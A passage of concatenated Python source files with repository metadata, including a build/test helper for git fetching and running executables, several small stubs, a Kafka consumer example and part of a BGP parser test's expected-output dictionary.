released.".format(prompt)) def fetch_repo(url, directory, branch, printer, prompt): '''Fetch a repo: directory can be relative or absolute''' got_code = False checked_out = False success = False printer.string("{}in directory {}, fetching" " {} to directory {}".format(prompt, os.getcwd(), url, directory)) if not branch: branch = "master" if os.path.isdir(directory): # Update existing code with ChangeDir(directory): printer.string("{}updating code in {}...". format(prompt, directory)) try: text = subprocess.check_output(subprocess_osify(["git", "pull", "origin", branch]), stderr=subprocess.STDOUT, shell=True) # Jenkins hangs without this for line in text.splitlines(): printer.string("{}{}".format(prompt, line.decode())) got_code = True except subprocess.CalledProcessError as error: printer.string("{}git returned error {}: \"{}\"". format(prompt, error.returncode, error.output)) else: # Clone the repo printer.string("{}cloning from {} into {}...". format(prompt, url, directory)) try: text = subprocess.check_output(subprocess_osify(["git", "clone", url, directory]), stderr=subprocess.STDOUT, shell=True) # Jenkins hangs without this for line in text.splitlines(): printer.string("{}{}".format(prompt, line.decode())) got_code = True except subprocess.CalledProcessError as error: printer.string("{}git returned error {}: \"{}\"". format(prompt, error.returncode, error.output)) if got_code and os.path.isdir(directory): # Check out the correct branch and recurse submodules with ChangeDir(directory): printer.string("{}checking out branch {}...". format(prompt, branch)) try: text = subprocess.check_output(subprocess_osify(["git", "-c", "advice.detachedHead=false", "checkout", "origin/" + branch]), stderr=subprocess.STDOUT, shell=True) # Jenkins hangs without this for line in text.splitlines(): printer.string("{}{}".format(prompt, line.decode())) checked_out = True except subprocess.CalledProcessError as error: printer.string("{}git returned error {}: \"{}\"". format(prompt, error.returncode, error.output)) if checked_out: printer.string("{}recursing sub-modules (can take some time" \ " and gives no feedback).".format(prompt)) try: text = subprocess.check_output(subprocess_osify(["git", "submodule", "update", "--init", "--recursive"]), stderr=subprocess.STDOUT, shell=True) # Jenkins hangs without this for line in text.splitlines(): printer.string("{}{}".format(prompt, line.decode())) success = True except subprocess.CalledProcessError as error: printer.string("{}git returned error {}: \"{}\"". format(prompt, error.returncode, error.output)) return success def exe_where(exe_name, help_text, printer, prompt): '''Find an executable using where.exe or which on linux''' success = False try: printer.string("{}looking for \"{}\"...". \ format(prompt, exe_name)) # See here: # https://stackoverflow.com/questions/14928860/passing-double-quote-shell-commands-in-python-to-subprocess-popen # ...for why the construction "".join() is necessary when # passing things which might have spaces in them. # It is the only thing that works. if platform.system() == "Linux": cmd = ["which {}".format(exe_name)] printer.string("{}detected linux, calling \"{}\"...".format(prompt, cmd)) else: cmd = ["where", "".join(exe_name)] printer.string("{}detected nonlinux, calling \"{}\"...".format(prompt, cmd)) text = subprocess.check_output(cmd, stderr=subprocess.STDOUT, shell=True) # Jenkins hangs without this for line in text.splitlines(): printer.string("{}{} found in {}".format(prompt, exe_name, line.decode())) success = True except subprocess.CalledProcessError: if help_text: printer.string("{}ERROR {} not found: {}". \ format(prompt, exe_name, help_text)) else: printer.string("{}ERROR {} not found". \ format(prompt, exe_name)) return success def exe_version(exe_name, version_switch, printer, prompt): '''Print the version of a given executable''' success = False if not version_switch: version_switch = "--version" try: text = subprocess.check_output(subprocess_osify(["".join(exe_name), version_switch]), stderr=subprocess.STDOUT, shell=True) # Jenkins hangs without this for line in text.splitlines(): printer.string("{}{}".format(prompt, line.decode())) success = True except subprocess.CalledProcessError: printer.string("{}ERROR {} either not found or didn't like {}". \ format(prompt, exe_name, version_switch)) return success def exe_terminate(process_pid): '''Jonathan's killer''' process = psutil.Process(process_pid) for proc in process.children(recursive=True): proc.terminate() process.terminate() def read_from_process_and_queue(process, read_queue): '''Read from a process, non-blocking''' while process.poll() is None: string = process.stdout.readline().decode() if string: read_queue.put(string) def queue_get_no_exception(the_queue, block=True, timeout=None): '''A version of queue.get() that doesn't throw an Empty exception''' thing = None try: thing = the_queue.get(block=block, timeout=timeout) except queue.Empty: pass return thing def capture_env_var(line, env, printer, prompt): '''A bit of exe_run that needs to be called from two places''' # Find a KEY=VALUE bit in the line, # parse it out and put it in the dictionary # we were given pair = line.split('=', 1) if len(pair) == 2: env[pair[0]] = pair[1].rstrip() else: printer.string("{}WARNING: not an environment variable: \"{}\"". format(prompt, line)) # Note: if returned_env is given then "set" # will be executed after the exe and the environment # variables will be returned in it. The down-side # of this is that the return value of the exe is, # of course, lost. def exe_run(call_list, guard_time_seconds, printer, prompt, shell_cmd=False, set_env=None, returned_env=None): '''Call an executable, printing out what it does''' success = False start_time = time() flibbling = False kill_time = None read_time = start_time if returned_env is not None: # The caller wants the environment after the # command has run, so, from this post: # https://stackoverflow.com/questions/1214496/how-to-get-environment-from-a-subprocess # append a tag that we can detect # to the command and then call set, # from which we can parse the environment call_list.append("&&") call_list.append("echo") call_list.append("flibble") call_list.append("&&") call_list.append("set") # I've seen output from set get lost, # possibly because the process ending # is asynchronous with stdout, # so add a delay here as well call_list.append("&&") call_list.append("sleep") call_list.append("2") try: # Call the thang # Note: used to have bufsize=1 here but it turns out # that is ignored 'cos the output is considered # binary. Seems to work in any case, I guess # Winders, at least, is in any case line-buffered. process = subprocess.Popen(call_list, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, shell=shell_cmd, env=set_env) printer.string("{}{}, pid {} started with guard time {} second(s)". \ format(prompt, call_list[0], process.pid, guard_time_seconds)) # This is over complex but, unfortunately, necessary. # At least one thing that we try to run, nrfjprog, can # crash silently: just hangs and sends no output. However # it also doesn't flush and close stdout and so read(1) # will hang, meaning we can't read its output as a means # to check that it has hung. # So, here we poll for the return value, which is normally # how things will end, and we start another thread which # reads from the process's stdout. If the thread sees # nothing for guard_time_seconds then we terminate the # process. read_queue = queue.Queue() read_thread = threading.Thread(target=read_from_process_and_queue, args=(process, read_queue)) read_thread.start() while process.poll() is None: if guard_time_seconds and (kill_time is None) and \ ((time() - start_time > guard_time_seconds) or (time() - read_time > guard_time_seconds)): kill_time = time() printer.string("{}guard time of {} second(s)." \ " expired, stopping {}...". format(prompt, guard_time_seconds, call_list[0])) exe_terminate(process.pid) line = queue_get_no_exception(read_queue, True, EXE_RUN_QUEUE_WAIT_SECONDS) read_time = time() while line is not None: line = line.rstrip() if flibbling: capture_env_var(line, returned_env, printer, prompt) else: if returned_env is not None and "flibble" in line: flibbling = True else: printer.string("{}{}".format(prompt, line)) line = queue_get_no_exception(read_queue, True, EXE_RUN_QUEUE_WAIT_SECONDS) read_time = time() # Can't join() read_thread here as it might have # blocked on a read() (if nrfjprog has anything to # do with it). It will be tidied up when this process # exits. # There may still be stuff on the queue, read it out here line = queue_get_no_exception(read_queue, True, EXE_RUN_QUEUE_WAIT_SECONDS) while line is not None: line = line.rstrip() if flibbling: capture_env_var(line, returned_env, printer, prompt) else: if returned_env is not None and "flibble" in line: flibbling = True else: printer.string("{}{}".format(prompt, line)) line = queue_get_no_exception(read_queue, True, EXE_RUN_QUEUE_WAIT_SECONDS) # There may still be stuff in the buffer after # the application has finished running so flush that # out here line = process.stdout.readline().decode() while line: line = line.rstrip() if flibbling: capture_env_var(line, returned_env, printer, prompt) else: if returned_env is not None and "flibble" in line: flibbling = True else: printer.string("{}{}".format(prompt, line)) line = process.stdout.readline().decode() if (process.poll() == 0) and kill_time is None: success = True printer.string("{}{}, pid {} ended with return value {}.". \ format(prompt, call_list[0], process.pid, process.poll())) except ValueError as ex: printer.string("{}failed: {} while trying to execute {}.". \ format(prompt, type(ex).__name__, str(ex))) return success # Simple SWO decoder: only handles single bytes of application # data at a time, i.e. what ITM_SendChar() sends. # This stolen from here: # https://stackoverflow.com/questions/431684/how-do-i-change-the-working-directory-in-python def wait_for_completion(list, purpose, guard_time_seconds, printer, prompt): '''Wait for a completion list to empty''' completed = False if len(list) > 0: timeout_seconds = guard_time_seconds printer.string("{}waiting up to {} second(s)" \ " for {} completion...". \ format(prompt, guard_time_seconds, purpose)) count = 0 while (len(list) > 0) and \ ((guard_time_seconds == 0) or (timeout_seconds > 0)): sleep(1) timeout_seconds -= 1 count += 1 if count == 30: list_text = "" for item in list: if list_text: list_text += ", " list_text += str(item) printer.string("{}still waiting {} second(s)" \ " for {} to complete (waiting" \ " for {}).". \ format(prompt, timeout_seconds, purpose, list_text)) count = 0 if len(list) == 0: completed = True printer.string("{}{} completed.".format(prompt, purpose)) return completed def reset_nrf_target(connection, printer, prompt): '''Reset a Nordic NRFxxx target''' call_list = [] printer.string("{}resetting target...".format(prompt)) # Assemble the call list call_list.append("nrfjprog") call_list.append("--reset") if connection and "debugger" in connection and connection["debugger"]: call_list.append("-s") call_list.append(connection["debugger"]) # Print what we're gonna do tmp = "" for item in call_list: tmp += " " + item printer.string("{}in directory {} calling{}". \ format(prompt, os.getcwd(), tmp)) # Call it return exe_run(call_list, 60, printer, prompt)

42.930101

120

0.536437

ddee87075899569423a1b5f9ff3b0f5185a1f91c

3,677

py

Python

noname.py

schellenberg/lyric-grabber-for-plex

f449b480d4c234ff9d358fc7d9a0e729e9ed45e5

[ "MIT" ]

26

2019-09-30T02:29:05.000Z

2022-01-17T20:10:54.000Z

noname.py

schellenberg/lyric-grabber-for-plex

f449b480d4c234ff9d358fc7d9a0e729e9ed45e5

[ "MIT" ]

5

2019-10-02T18:53:48.000Z

2020-05-06T14:07:25.000Z

noname.py

schellenberg/lyric-grabber-for-plex

f449b480d4c234ff9d358fc7d9a0e729e9ed45e5

[ "MIT" ]

6

2019-09-30T13:04:22.000Z

2022-03-24T17:47:16.000Z

# -*- coding: utf-8 -*- ########################################################################### ## Python code generated with wxFormBuilder (version Oct 26 2018) ## http://www.wxformbuilder.org/ ## ## PLEASE DO *NOT* EDIT THIS FILE! ########################################################################### import wx import wx.xrc ########################################################################### ## Class frameMain ###########################################################################

39.537634

213

0.689421

ddefc795048cf6d437ec89f16bc748675c74df14

1,371

py

Python

feature_extraction/cli.py

widoptimization-willett/feature-extraction

25e963e3383673aad6aedfd504e69a1df7f47f9a

[ "Apache-2.0" ]

null

feature_extraction/cli.py

widoptimization-willett/feature-extraction

25e963e3383673aad6aedfd504e69a1df7f47f9a

[ "Apache-2.0" ]

null

feature_extraction/cli.py

widoptimization-willett/feature-extraction

25e963e3383673aad6aedfd504e69a1df7f47f9a

[ "Apache-2.0" ]

null

import json import click from tqdm import tqdm import numpy as np from PIL import Image from skimage.exposure import rescale_intensity from . import extraction, pipeline np.seterr(all='raise')

32.642857

106

0.745441

ddeff9d5eb6e649b509f4b345051a62872b3798f

186

py

Python

homepage/templatetags/infos_tags.py

phodal/phodaldev

b5a48339a21b5674a70d284a85ef8c45e010fe43

[ "MIT" ]

94

2015-01-28T15:46:02.000Z

2020-11-02T12:56:15.000Z

homepage/templatetags/infos_tags.py

phodal/phodaldev

b5a48339a21b5674a70d284a85ef8c45e010fe43

[ "MIT" ]

56

2015-04-05T03:18:41.000Z

2021-08-29T00:50:57.000Z

homepage/templatetags/infos_tags.py

phodal/phodaldev

b5a48339a21b5674a70d284a85ef8c45e010fe43

[ "MIT" ]

38

2015-08-26T08:10:12.000Z

2021-06-11T19:36:31.000Z

from mezzanine import template from homepage.models import Info register = template.Library()

18.6

42

0.747312

ddf10fa882b2377b78f180954bd012323f534965

514

py

Python

test/unit/test_main.py

CMPUT291PROJECT1F18/Mini-Project-1

b58144dd80c40466de755877b7c3996f4aa67af9

[ "MIT" ]

1

2018-11-06T01:04:13.000Z

test/unit/test_main.py

CMPUT291PROJECT1F18/Mini-Project-1

b58144dd80c40466de755877b7c3996f4aa67af9

[ "MIT" ]

39

2018-10-23T00:28:13.000Z

2018-11-06T16:14:56.000Z

test/unit/test_main.py

CMPUT291PROJECT1F18/Mini-Project-1

b58144dd80c40466de755877b7c3996f4aa67af9

[ "MIT" ]

null

#!/usr/bin/python # -*- coding: utf-8 -*- """pytests for :mod:`.__main__`""" from mini_project_1.__main__ import get_parser, main import mock

23.363636

93

0.680934

ddf357f8f64530a6e0a779ab33c258cb0322ac3e

189

py

Python

kafka/1/consumer/kaktatest.py

adriancarriger/experiments

7e4248592dc8fbb08522c9b5f0393c80dc7e2699

[ "MIT" ]

1

2021-06-22T13:38:36.000Z

kafka/1/consumer/kaktatest.py

adriancarriger/experiments

7e4248592dc8fbb08522c9b5f0393c80dc7e2699

[ "MIT" ]

108

2019-05-23T16:12:32.000Z

2020-09-04T15:47:33.000Z

kafka/1/consumer/kaktatest.py

adriancarriger/experiments

7e4248592dc8fbb08522c9b5f0393c80dc7e2699

[ "MIT" ]

null

from kafka import KafkaConsumer consumer = KafkaConsumer('myTestTopic', bootstrap_servers='localhost:9092') for item in consumer: print("The Message is :", item) # https://kafka-1:9092

31.5

75

0.756614

ddf3aa22469fb9543ce65c54187ad310deed6e44

67,701

py

Python

src/genie/libs/parser/iosxe/tests/ShowIpBgpDetail/cli/equal/golden_output2_expected.py

balmasea/genieparser

d1e71a96dfb081e0a8591707b9d4872decd5d9d3

[ "Apache-2.0" ]

204

2018-06-27T00:55:27.000Z

2022-03-06T21:12:18.000Z

src/genie/libs/parser/iosxe/tests/ShowIpBgpDetail/cli/equal/golden_output2_expected.py

balmasea/genieparser

d1e71a96dfb081e0a8591707b9d4872decd5d9d3

[ "Apache-2.0" ]

468

2018-06-19T00:33:18.000Z

2022-03-31T23:23:35.000Z

src/genie/libs/parser/iosxe/tests/ShowIpBgpDetail/cli/equal/golden_output2_expected.py

balmasea/genieparser

d1e71a96dfb081e0a8591707b9d4872decd5d9d3

[ "Apache-2.0" ]

309

2019-01-16T20:21:07.000Z

2022-03-30T12:56:41.000Z

expected_output = { "instance": { "default": { "vrf": { "L3VPN-0050": { "address_family": { "vpnv4": { "default_vrf": "L3VPN-0050", "prefixes": { "10.4.1.0/24": { "available_path": "1", "best_path": "1", "index": { 1: { "ext_community": "RT:5918:50", "gateway": "192.168.10.253", "localpref": 100, "metric": 0, "mpls_labels": { "in": "2467", "out": "nolabel", }, "next_hop": "192.168.10.253", "next_hop_via": "vrf L3VPN-0050", "origin_codes": "?", "originator": "192.168.10.253", "recipient_pathid": "0", "refresh_epoch": 1, "route_info": "62000", "status_codes": "*>", "transfer_pathid": "0x0", "update_group": 724, } }, "paths": "1 available, best #1, table L3VPN-0050", "table_version": "16933597", }, "10.44.105.0/24": { "available_path": "1", "best_path": "1", "index": { 1: { "ext_community": "RT:5918:50", "gateway": "192.168.10.253", "localpref": 100, "metric": 0, "mpls_labels": { "in": "6620", "out": "nolabel", }, "next_hop": "192.168.10.253", "next_hop_via": "vrf L3VPN-0050", "origin_codes": "?", "originator": "192.168.10.253", "recipient_pathid": "0", "refresh_epoch": 1, "route_info": "62000", "status_codes": "*>", "transfer_pathid": "0x0", "update_group": 724, } }, "paths": "1 available, best #1, table L3VPN-0050", "table_version": "16933498", }, "172.16.100.10/32": { "available_path": "1", "best_path": "1", "index": { 1: { "ext_community": "RT:5918:50", "gateway": "192.168.10.253", "localpref": 100, "metric": 0, "mpls_labels": { "in": "2904", "out": "nolabel", }, "next_hop": "192.168.10.253", "next_hop_via": "vrf L3VPN-0050", "origin_codes": "?", "originator": "192.168.10.253", "recipient_pathid": "0", "refresh_epoch": 1, "route_info": "62000", "status_codes": "*>", "transfer_pathid": "0x0", "update_group": 724, } }, "paths": "1 available, best #1, table L3VPN-0050", "table_version": "16933541", }, "172.16.100.11/32": { "available_path": "1", "best_path": "1", "index": { 1: { "ext_community": "RT:5918:50", "gateway": "192.168.10.253", "localpref": 100, "metric": 0, "mpls_labels": { "in": "2903", "out": "nolabel", }, "next_hop": "192.168.10.253", "next_hop_via": "vrf L3VPN-0050", "origin_codes": "?", "originator": "192.168.10.253", "recipient_pathid": "0", "refresh_epoch": 1, "route_info": "62000", "status_codes": "*>", "transfer_pathid": "0x0", "update_group": 724, } }, "paths": "1 available, best #1, table L3VPN-0050", "table_version": "16933540", }, "172.16.100.12/32": { "available_path": "1", "best_path": "1", "index": { 1: { "ext_community": "RT:5918:50", "gateway": "192.168.10.253", "localpref": 100, "metric": 0, "mpls_labels": { "in": "2901", "out": "nolabel", }, "next_hop": "192.168.10.253", "next_hop_via": "vrf L3VPN-0050", "origin_codes": "?", "originator": "192.168.10.253", "recipient_pathid": "0", "refresh_epoch": 1, "route_info": "62000", "status_codes": "*>", "transfer_pathid": "0x0", "update_group": 724, } }, "paths": "1 available, best #1, table L3VPN-0050", "table_version": "16933539", }, "172.16.100.13/32": { "available_path": "1", "best_path": "1", "index": { 1: { "ext_community": "RT:5918:50", "gateway": "192.168.10.253", "localpref": 100, "metric": 0, "mpls_labels": { "in": "5466", "out": "nolabel", }, "next_hop": "192.168.10.253", "next_hop_via": "vrf L3VPN-0050", "origin_codes": "?", "originator": "192.168.10.253", "recipient_pathid": "0", "refresh_epoch": 1, "route_info": "62000", "status_codes": "*>", "transfer_pathid": "0x0", "update_group": 724, } }, "paths": "1 available, best #1, table L3VPN-0050", "table_version": "16933538", }, "172.16.100.14/32": { "available_path": "1", "best_path": "1", "index": { 1: { "ext_community": "RT:5918:50", "gateway": "192.168.10.253", "localpref": 100, "metric": 0, "mpls_labels": { "in": "5465", "out": "nolabel", }, "next_hop": "192.168.10.253", "next_hop_via": "vrf L3VPN-0050", "origin_codes": "?", "originator": "192.168.10.253", "recipient_pathid": "0", "refresh_epoch": 1, "route_info": "62000", "status_codes": "*>", "transfer_pathid": "0x0", "update_group": 724, } }, "paths": "1 available, best #1, table L3VPN-0050", "table_version": "16933537", }, "172.16.100.15/32": { "available_path": "1", "best_path": "1", "index": { 1: { "ext_community": "RT:5918:50", "gateway": "192.168.10.253", "localpref": 100, "metric": 0, "mpls_labels": { "in": "5464", "out": "nolabel", }, "next_hop": "192.168.10.253", "next_hop_via": "vrf L3VPN-0050", "origin_codes": "?", "originator": "192.168.10.253", "recipient_pathid": "0", "refresh_epoch": 1, "route_info": "62000", "status_codes": "*>", "transfer_pathid": "0x0", "update_group": 724, } }, "paths": "1 available, best #1, table L3VPN-0050", "table_version": "16933536", }, "172.16.100.16/32": { "available_path": "1", "best_path": "1", "index": { 1: { "ext_community": "RT:5918:50", "gateway": "192.168.10.253", "localpref": 100, "metric": 0, "mpls_labels": { "in": "2914", "out": "nolabel", }, "next_hop": "192.168.10.253", "next_hop_via": "vrf L3VPN-0050", "origin_codes": "?", "originator": "192.168.10.253", "recipient_pathid": "0", "refresh_epoch": 1, "route_info": "62000", "status_codes": "*>", "transfer_pathid": "0x0", "update_group": 724, } }, "paths": "1 available, best #1, table L3VPN-0050", "table_version": "16933551", }, "172.16.100.17/32": { "available_path": "1", "best_path": "1", "index": { 1: { "ext_community": "RT:5918:50", "gateway": "192.168.10.253", "localpref": 100, "metric": 0, "mpls_labels": { "in": "2913", "out": "nolabel", }, "next_hop": "192.168.10.253", "next_hop_via": "vrf L3VPN-0050", "origin_codes": "?", "originator": "192.168.10.253", "recipient_pathid": "0", "refresh_epoch": 1, "route_info": "62000", "status_codes": "*>", "transfer_pathid": "0x0", "update_group": 724, } }, "paths": "1 available, best #1, table L3VPN-0050", "table_version": "16933550", }, "172.16.100.18/32": { "available_path": "1", "best_path": "1", "index": { 1: { "ext_community": "RT:5918:50", "gateway": "192.168.10.253", "localpref": 100, "metric": 0, "mpls_labels": { "in": "2912", "out": "nolabel", }, "next_hop": "192.168.10.253", "next_hop_via": "vrf L3VPN-0050", "origin_codes": "?", "originator": "192.168.10.253", "recipient_pathid": "0", "refresh_epoch": 1, "route_info": "62000", "status_codes": "*>", "transfer_pathid": "0x0", "update_group": 724, } }, "paths": "1 available, best #1, table L3VPN-0050", "table_version": "16933549", }, "172.16.100.19/32": { "available_path": "1", "best_path": "1", "index": { 1: { "ext_community": "RT:5918:50", "gateway": "192.168.10.253", "localpref": 100, "metric": 0, "mpls_labels": { "in": "2911", "out": "nolabel", }, "next_hop": "192.168.10.253", "next_hop_via": "vrf L3VPN-0050", "origin_codes": "?", "originator": "192.168.10.253", "recipient_pathid": "0", "refresh_epoch": 1, "route_info": "62000", "status_codes": "*>", "transfer_pathid": "0x0", "update_group": 724, } }, "paths": "1 available, best #1, table L3VPN-0050", "table_version": "16933548", }, "172.16.100.2/32": { "available_path": "1", "best_path": "1", "index": { 1: { "community": "62000:2", "ext_community": "RT:5918:50", "gateway": "192.168.10.253", "localpref": 100, "metric": 0, "mpls_labels": { "in": "2468", "out": "nolabel", }, "next_hop": "192.168.10.253", "next_hop_via": "vrf L3VPN-0050", "origin_codes": "?", "originator": "192.168.10.253", "recipient_pathid": "0", "refresh_epoch": 1, "route_info": "62000", "status_codes": "*>", "transfer_pathid": "0x0", } }, "paths": "1 available, best #1, table L3VPN-0050", "table_version": "16933598", }, "172.16.100.20/32": { "available_path": "1", "best_path": "1", "index": { 1: { "ext_community": "RT:5918:50", "gateway": "192.168.10.253", "localpref": 100, "metric": 0, "mpls_labels": { "in": "2910", "out": "nolabel", }, "next_hop": "192.168.10.253", "next_hop_via": "vrf L3VPN-0050", "origin_codes": "?", "originator": "192.168.10.253", "recipient_pathid": "0", "refresh_epoch": 1, "route_info": "62000", "status_codes": "*>", "transfer_pathid": "0x0", "update_group": 724, } }, "paths": "1 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"refresh_epoch": 1, "route_info": "62000", "status_codes": "*>", "transfer_pathid": "0x0", "update_group": 724, } }, "paths": "1 available, best #1, table L3VPN-0050", "table_version": "16933545", }, "172.16.100.23/32": { "available_path": "1", "best_path": "1", "index": { 1: { "ext_community": "RT:5918:50", "gateway": "192.168.10.253", "localpref": 100, "metric": 0, "mpls_labels": { "in": "2907", "out": "nolabel", }, "next_hop": "192.168.10.253", "next_hop_via": "vrf L3VPN-0050", "origin_codes": "?", "originator": "192.168.10.253", "recipient_pathid": "0", "refresh_epoch": 1, "route_info": "62000", "status_codes": "*>", "transfer_pathid": "0x0", "update_group": 724, } }, "paths": "1 available, best #1, table L3VPN-0050", "table_version": "16933544", }, "172.16.100.24/32": { "available_path": "1", "best_path": "1", "index": { 1: { "ext_community": "RT:5918:50", "gateway": "192.168.10.253", "localpref": 100, "metric": 0, "mpls_labels": { "in": "2923", "out": "nolabel", }, "next_hop": "192.168.10.253", "next_hop_via": "vrf L3VPN-0050", "origin_codes": "?", "originator": "192.168.10.253", "recipient_pathid": "0", "refresh_epoch": 1, "route_info": "62000", "status_codes": "*>", "transfer_pathid": "0x0", "update_group": 724, } }, "paths": "1 available, best #1, table L3VPN-0050", "table_version": "16933559", }, "172.16.100.25/32": { "available_path": "1", "best_path": "1", "index": { 1: { "ext_community": "RT:5918:50", "gateway": "192.168.10.253", "localpref": 100, "metric": 0, "mpls_labels": { "in": "2922", "out": "nolabel", }, "next_hop": "192.168.10.253", "next_hop_via": "vrf L3VPN-0050", "origin_codes": "?", "originator": "192.168.10.253", "recipient_pathid": "0", "refresh_epoch": 1, "route_info": "62000", "status_codes": "*>", "transfer_pathid": "0x0", "update_group": 724, } }, "paths": "1 available, best #1, table L3VPN-0050", "table_version": "16933558", }, "172.16.100.26/32": { "available_path": "1", "best_path": "1", "index": { 1: { "ext_community": "RT:5918:50", "gateway": "192.168.10.253", "localpref": 100, "metric": 0, "mpls_labels": { "in": "2920", "out": "nolabel", }, "next_hop": "192.168.10.253", "next_hop_via": "vrf L3VPN-0050", "origin_codes": "?", "originator": "192.168.10.253", "recipient_pathid": "0", "refresh_epoch": 1, "route_info": "62000", "status_codes": "*>", "transfer_pathid": "0x0", "update_group": 724, } }, "paths": "1 available, best #1, table L3VPN-0050", "table_version": "16933557", }, "172.16.100.27/32": { "available_path": "1", "best_path": "1", "index": { 1: { "ext_community": "RT:5918:50", "gateway": "192.168.10.253", "localpref": 100, "metric": 0, "mpls_labels": { "in": "2919", "out": "nolabel", }, "next_hop": "192.168.10.253", "next_hop_via": "vrf L3VPN-0050", "origin_codes": "?", "originator": "192.168.10.253", "recipient_pathid": "0", "refresh_epoch": 1, "route_info": "62000", "status_codes": "*>", "transfer_pathid": "0x0", "update_group": 724, } }, "paths": "1 available, best #1, table L3VPN-0050", "table_version": "16933556", }, "172.16.100.28/32": { "available_path": "1", "best_path": "1", "index": { 1: { "ext_community": "RT:5918:50", "gateway": "192.168.10.253", "localpref": 100, "metric": 0, "mpls_labels": { "in": "2918", "out": "nolabel", }, "next_hop": "192.168.10.253", "next_hop_via": "vrf L3VPN-0050", "origin_codes": "?", "originator": "192.168.10.253", "recipient_pathid": "0", "refresh_epoch": 1, "route_info": "62000", "status_codes": "*>", "transfer_pathid": "0x0", "update_group": 724, } }, "paths": "1 available, best #1, table L3VPN-0050", "table_version": "16933555", }, "172.16.100.29/32": { "available_path": "1", "best_path": "1", "index": { 1: { "ext_community": "RT:5918:50", "gateway": "192.168.10.253", "localpref": 100, "metric": 0, "mpls_labels": { "in": "2917", "out": "nolabel", }, "next_hop": "192.168.10.253", "next_hop_via": "vrf L3VPN-0050", "origin_codes": "?", "originator": "192.168.10.253", "recipient_pathid": "0", "refresh_epoch": 1, "route_info": "62000", "status_codes": "*>", "transfer_pathid": "0x0", "update_group": 724, } }, "paths": "1 available, best #1, table L3VPN-0050", "table_version": "16933554", }, "172.16.100.3/32": { "available_path": "1", "best_path": "1", "index": { 1: { "ext_community": "RT:5918:50", "gateway": "192.168.10.253", "localpref": 100, "metric": 0, "mpls_labels": { "in": "5463", "out": "nolabel", }, "next_hop": "192.168.10.253", "next_hop_via": "vrf L3VPN-0050", "origin_codes": "?", "originator": "192.168.10.253", "recipient_pathid": "0", "refresh_epoch": 1, "route_info": "62000", "status_codes": "*>", "transfer_pathid": "0x0", "update_group": 724, } }, "paths": "1 available, best #1, table L3VPN-0050", "table_version": "16933535", }, "172.16.100.30/32": { "available_path": "1", "best_path": "1", "index": { 1: { "ext_community": "RT:5918:50", "gateway": "192.168.10.253", "localpref": 100, "metric": 0, "mpls_labels": { "in": "2916", "out": "nolabel", }, "next_hop": "192.168.10.253", "next_hop_via": "vrf L3VPN-0050", "origin_codes": "?", "originator": "192.168.10.253", "recipient_pathid": "0", "refresh_epoch": 1, "route_info": "62000", "status_codes": "*>", "transfer_pathid": "0x0", "update_group": 724, } }, "paths": "1 available, best #1, table L3VPN-0050", "table_version": "16933553", }, "172.16.100.31/32": { "available_path": "1", "best_path": "1", "index": { 1: { "ext_community": "RT:5918:50", "gateway": "192.168.10.253", "localpref": 100, "metric": 0, "mpls_labels": { "in": "2915", "out": "nolabel", }, "next_hop": "192.168.10.253", "next_hop_via": "vrf L3VPN-0050", "origin_codes": "?", "originator": "192.168.10.253", "recipient_pathid": "0", "refresh_epoch": 1, "route_info": "62000", "status_codes": "*>", "transfer_pathid": "0x0", "update_group": 724, } }, "paths": "1 available, best #1, table L3VPN-0050", "table_version": "16933552", }, "172.16.100.32/32": { "available_path": "1", "best_path": "1", "index": { 1: { "ext_community": "RT:5918:50", "gateway": "192.168.10.253", "localpref": 100, "metric": 0, "mpls_labels": { "in": "6630", "out": "nolabel", }, "next_hop": "192.168.10.253", "next_hop_via": "vrf L3VPN-0050", "origin_codes": "?", "originator": "192.168.10.253", "recipient_pathid": "0", "refresh_epoch": 1, "route_info": "62000", "status_codes": "*>", "transfer_pathid": "0x0", "update_group": 724, } }, "paths": "1 available, best #1, table L3VPN-0050", "table_version": "16933506", }, "172.16.100.33/32": { "available_path": "1", "best_path": "1", "index": { 1: { "ext_community": "RT:5918:50", "gateway": "192.168.10.253", "localpref": 100, "metric": 0, "mpls_labels": { "in": "6629", "out": "nolabel", }, "next_hop": "192.168.10.253", "next_hop_via": "vrf L3VPN-0050", "origin_codes": "?", "originator": "192.168.10.253", "recipient_pathid": "0", "refresh_epoch": 1, "route_info": "62000", "status_codes": "*>", "transfer_pathid": "0x0", "update_group": 724, } }, "paths": "1 available, best #1, table L3VPN-0050", "table_version": "16933505", }, "172.16.100.34/32": { "available_path": "1", "best_path": "1", "index": { 1: { "ext_community": "RT:5918:50", "gateway": "192.168.10.253", "localpref": 100, "metric": 0, "mpls_labels": { "in": "6627", "out": "nolabel", }, "next_hop": "192.168.10.253", "next_hop_via": "vrf L3VPN-0050", "origin_codes": "?", "originator": "192.168.10.253", "recipient_pathid": "0", "refresh_epoch": 1, "route_info": "62000", "status_codes": "*>", "transfer_pathid": "0x0", "update_group": 724, } }, "paths": "1 available, best #1, table L3VPN-0050", "table_version": "16933504", }, "172.16.100.35/32": { "available_path": "1", "best_path": "1", "index": { 1: { "ext_community": "RT:5918:50", "gateway": "192.168.10.253", "localpref": 100, "metric": 0, "mpls_labels": { "in": "6626", "out": "nolabel", }, "next_hop": "192.168.10.253", "next_hop_via": "vrf L3VPN-0050", "origin_codes": "?", "originator": "192.168.10.253", "recipient_pathid": "0", "refresh_epoch": 1, "route_info": "62000", "status_codes": "*>", "transfer_pathid": "0x0", "update_group": 724, } }, "paths": "1 available, best #1, table L3VPN-0050", "table_version": "16933503", }, "172.16.100.36/32": { "available_path": "1", "best_path": "1", "index": { 1: { "ext_community": "RT:5918:50", "gateway": "192.168.10.253", "localpref": 100, "metric": 0, "mpls_labels": { "in": "6625", "out": "nolabel", }, "next_hop": "192.168.10.253", "next_hop_via": "vrf L3VPN-0050", "origin_codes": "?", "originator": "192.168.10.253", "recipient_pathid": "0", "refresh_epoch": 1, "route_info": "62000", "status_codes": "*>", "transfer_pathid": "0x0", "update_group": 724, } }, "paths": "1 available, best #1, table L3VPN-0050", "table_version": "16933502", }, "172.16.100.37/32": { "available_path": "1", "best_path": "1", "index": { 1: { "ext_community": "RT:5918:50", "gateway": "192.168.10.253", "localpref": 100, "metric": 0, "mpls_labels": { "in": "6624", "out": "nolabel", }, "next_hop": "192.168.10.253", "next_hop_via": "vrf L3VPN-0050", "origin_codes": "?", "originator": "192.168.10.253", "recipient_pathid": "0", "refresh_epoch": 1, "route_info": "62000", "status_codes": "*>", "transfer_pathid": "0x0", "update_group": 724, } }, "paths": "1 available, best #1, table L3VPN-0050", "table_version": "16933501", }, "172.16.100.38/32": { "available_path": "1", "best_path": "1", "index": { 1: { "ext_community": 